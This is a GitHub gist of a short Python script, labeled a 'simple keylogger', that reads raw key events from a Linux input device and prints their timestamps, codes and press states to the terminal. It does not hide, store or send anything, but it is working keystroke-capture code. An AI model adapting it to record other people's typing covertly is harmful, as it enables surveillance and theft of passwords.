Last active
July 3, 2019 08:04
-
-
Save OwenChia/bc75e7f9f5b83e6029b7bc241a76a24e to your computer and use it in GitHub Desktop.
simple keylogger written by python
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: utf-8 -*- | |
import selectors | |
from ctypes import Structure, c_int32, c_int64, c_uint16 | |
EV_KEY = 1 | |
EV_KEY_VALUE = {0: '\x1b[31mreleased\x1b[0m', | |
1: '\x1b[32mdepressed\x1b[0m', | |
2: '\x1b[33mrepeated\x1b[0m'} | |
EV_KEY_VALUE_UNKNOWN = '\x1b[37;41;5munknown\x1b[0m' | |
EV_DEVICE = "/dev/input/event5" | |
class InputEvent(Structure): | |
''' | |
struct timeval { | |
int64_t tv_sec, | |
int64_t tv_usec, | |
} | |
struct input_event { | |
struct timeval time, | |
uint16 type, | |
uint16 code, | |
int32 value, | |
} | |
''' | |
_fields_ = [('time__tv_sec', c_int64), | |
('time__tv_usec', c_int64), | |
('type', c_uint16), | |
('code', c_uint16), | |
('value', c_int32)] | |
def process(fd, mask): | |
ev = InputEvent() | |
fd.readinto(ev) | |
while ev.type != EV_KEY: | |
fd.readinto(ev) | |
print(ev.time__tv_sec, ev.time__tv_usec, ev.code, | |
EV_KEY_VALUE.get(ev.value, EV_KEY_VALUE_UNKNOWN), sep='\t') | |
if __name__ == '__main__': | |
with open(EV_DEVICE, 'rb') as fd: | |
sel = selectors.DefaultSelector() | |
sel.register(fd, selectors.EVENT_READ, process) | |
try: | |
while True: | |
events = sel.select() | |
for key, mask in events: | |
callback = key.data | |
callback(key.fileobj, mask) | |
except KeyboardInterrupt: | |
print() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment